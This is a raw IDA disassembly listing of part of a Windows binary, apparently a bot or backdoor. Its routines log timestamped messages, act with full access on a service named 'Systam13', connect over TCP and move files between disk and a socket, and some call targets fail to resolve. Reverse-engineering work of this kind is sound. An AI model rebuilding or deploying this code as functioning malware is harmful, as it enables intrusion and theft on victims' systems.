; ---------------------------------------------------------------------------


loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_444340[esi]
		push	ebx
		call	sub_417330
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_444358[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
		add	esp, 24h
		inc	dword_4313B0
		pop	ebx


loc_40BEEE:				; CODE XREF: sub_40BE75+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B58p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_444340


loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch


loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 2600000h
		mov	ebx, offset dword_443A34
		mov	edi, 80h
		mov	esi, offset dword_43FA34


loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; ___:00407F15p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43FA34
		xor	ecx, ecx


loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_443A34
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43FA34


loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A


loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B02o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax


loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43FA34


loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144


loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C0FB


loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h


loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25E02EAh
		nop
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; ___:0040E9EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"


loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43F61C
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43F68C
		jmp	short loc_40C205
; ---------------------------------------------------------------------------


loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43F5D4


loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	dword_43F644
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx


loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8


loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------


loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------


loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx


loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43F6E8
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43F6A8
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	dword_43F700


loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------


loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi


loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh


loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_43C80C
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh


loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		nop
		call	near ptr 25F0439h
		xor	edi, edi
		mov	esi, 1000h


loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		nop
		call	near ptr 25F0439h
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E


loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h


loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 25E02EAh
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Eo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43F668
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43F694
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43F60C
		push	[ebp+var_2E]
		call	dword_43F5A4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx


loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------


loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al


loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	dword_43F690
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		nop
		call	near ptr 2630000h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------


loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		call	near ptr 2670000h
		nop
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	eax
		call	dword_43F664
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43F650
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------


loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180


loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------


loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	dword_43F700
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h


loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax


loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 26B0000h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 2611183h
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43F6B8
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43F680
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]


loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		nop
		call	near ptr 2611A31h
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172B0


loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h


loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h


loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	dword_43F700


loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh


loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	near ptr 25F048Fh
		nop
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2630000h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		call	near ptr 2611A31h
		nop
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C966
		push	offset dword_42E310
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0


